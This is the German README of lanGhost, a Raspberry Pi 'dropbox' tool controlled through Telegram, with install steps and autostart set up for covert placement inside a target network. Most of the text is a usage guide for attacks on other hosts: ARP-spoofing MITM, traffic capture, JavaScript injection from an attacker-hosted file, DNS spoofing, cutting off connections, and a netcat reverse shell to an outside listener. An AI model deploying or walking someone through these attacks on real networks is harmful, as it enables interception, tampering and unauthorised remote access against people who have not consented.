
👻 Ein LAN-Dropbox-Chatbot, steuerbar über Telegram.
lanGhost wurde für Raspberry Pis (Raspbian/Kali for RPi) entwickelt. Die Ausführung auf anderen/Desktop-Distributionen könnte Probleme verursachen und möglicherweise nicht wie erwartet funktionieren.
Sie benötigen einen Raspberry Pi mit frischem Raspbian/Kali auf der SD-Karte, da Sie nicht möchten, dass im Hintergrund etwas anderes läuft.
Starten Sie den Pi, erhalten Sie eine SSH-Shell oder schließen Sie einen Monitor und eine Tastatur an und geben Sie diese Befehle ein:
$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py
Bitte lesen Sie die Fragen/Meldungen während der Ausführung des Setup-Skripts!
[+] Please enter the name of the network interface connected/will
be connected to the target LAN. Default wired interface is 'eth0',
and the default wireless interface is 'wlan0' on most systems, but
you can check it in a different terminal with the 'ifconfig' command.
[+] Please create a Telegram API key by messaging @BotFather on Telegram
with the command '/newbot'.
After this, @BotFather will ask you to choose a name for your bot.
This can be anything you want.
Lastly, @BotFather will ask you for a username for your bot. You have
to choose a unique username here which ends with 'bot'. For
example: xdavidbot. Make note of this username, since later
you will have to search for this to find your bot, which lanGhost
will be running on.
After you send your username of choise to @BotFather, you will recieve
your API key.
[+] Now for lanGhost to only allow access to you, you need to verify yourself.
Send the verification code below TO THE BOT you just created. Just search for your
bot's @username (what you sent to @BotFather) to find it.
[+] Verification code to send: ******
[+] Do you want lanGhost to start on boot? This option is necessary if you are using
this device as a dropbox, because when you are going to drop this device into a
network, you will not have the chanse to start lanGhost remotely! (autostart works
by adding a new cron '@reboot' entry)
Die Verwendung von lanGhost in einem Netzwerk, das größer als /24 ist, wird nicht empfohlen, da die Scans zu lange dauern.
lanGhost ist nicht leise. Jeder, der den Datenverkehr überwacht, kann die ARP-Pakete sehen!
Wenn Sie bei Schritt 4/4 (Autostart) ja ausgewählt haben, ist der Pi vollständig für das Einbringen eingerichtet. lanGhost sollte beim Start hochfahren und Ihnen eine Nachricht auf Telegram mit dem Text: lanGhost started! 👻 senden.
Stellen Sie sicher, dass Sie es zuerst in Ihrem Labor ausprobieren und testen, ob lanGhost auf Ihre Nachrichten antwortet!
Wenn alles bereit ist, schließen Sie es einfach an das Zielnetzwerk an, indem Sie das Ethernet-Kabel in den Pi stecken und die Stromversorgung über Micro-USB anschließen, und schon kann es losgehen!
(lanGhost kann auch über WLAN arbeiten, aber Sie müssen zuerst wpa_supplicant einrichten, um sich automatisch mit dem Netzwerk zu verbinden)
/scan - Scan LAN network
/scanip [TARGET-IP] - Scan a specific IP address.
/kill [TARGET-IP] - Stop the target's network connection.
/mitm [TARGET-IP] - Capture HTTP/DNS traffic from target.
/replaceimg [TARGET-IP] - Replace HTTP images requested by target.
/injectjs [TARGET-IP] [JS-FILE-URL] - Inject JavaScript into HTTP pages requested by target.
/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - Spoof DNS records for target.
/attacks - View currently running attacks.
/stop [ATTACK-ID] - Stop a currently running attack.
/restart - Restart lanGhost.
/reversesh [TARGET-IP] [PORT] - Create a netcat reverse shell to target.
/help - Display the help menu.
/ping - Pong.
Sie können einen Angriff starten, indem Sie einen dieser Befehle verwenden: /kill, /mitm, /replaceimg, /injectjs, /spoofdns
Nachdem ein oder mehrere Angriffe laufen, können Sie den Befehl /attack verwenden, um eine Liste mit den ATTACK-IDs zu erhalten.
Um einen Angriff zu stoppen, geben Sie /stop [ATTACK-ID] ein.
/reversesh stellt lediglich eine unverschlüsselte Netcat-TCP-Verbindung her, deren gesamter Datenverkehr überwacht werden kann! Verwenden Sie ihn nur für Notfallreparaturen oder zum Einrichten einer verschlüsselten Reverse-Verbindung, falls erforderlich.
Der Befehl /reversesh dient dazu, eine Reverse Shell auf dem Pi zu erhalten, wenn dieser von außen nicht erreichbar ist.
Um den Befehl /reversesh zu verwenden, benötigen Sie einen Server, der auf die Shell lauscht.
Netcat-Befehl zum Starten des Listeners auf Ihrem Server:
$ nc -l 0.0.0.0 [PORT]
Telegram-Befehl:
/reversesh [IP-of-your-listening-server] [PORT]
/kill - Unterbindet die Internetverbindung des Ziels./mitm - Erfasst HTTP- und DNS-Datenverkehr vom Ziel und sendet ihn in Textnachrichten./replaceimg - Ersetzt HTTP-Bilder für das Ziel durch das Bild, das Sie an den Bot senden./injectjs - Injiziert JavaScript in jede HTTP-HTML-Antwort für das Ziel. Sie müssen die JS-Datei auf Ihrem Server hosten und die URL als Parameter angeben./spoofdns - Fälscht DNS-Antworten für das Ziel.Alle Angriffe verwenden ARP-Spoofing!
/scan - Scannt das lokale Netzwerk und gibt die aktiven Hosts zurück. Verwendet einen nmap -sn-Scan, um Hosts zu entdecken./scanip - Scannt eine IP-Adresse auf offene Ports und andere Informationen. Verwendet einen nmap -sS-Scan.Sie erhalten jedes Mal eine Nachricht, wenn ein neues Gerät das Netzwerk betritt/verlässt.
Copyright (c) 2018 by David Schütz. Einige Rechte vorbehalten.
lanGhost steht unter den Bedingungen der MIT-Lizenz, unter Berücksichtigung aller Klarstellungen in der Lizenzdatei. Sie können mir auch eine E-Mail an xdavid{at}protonmail{dot}com senden.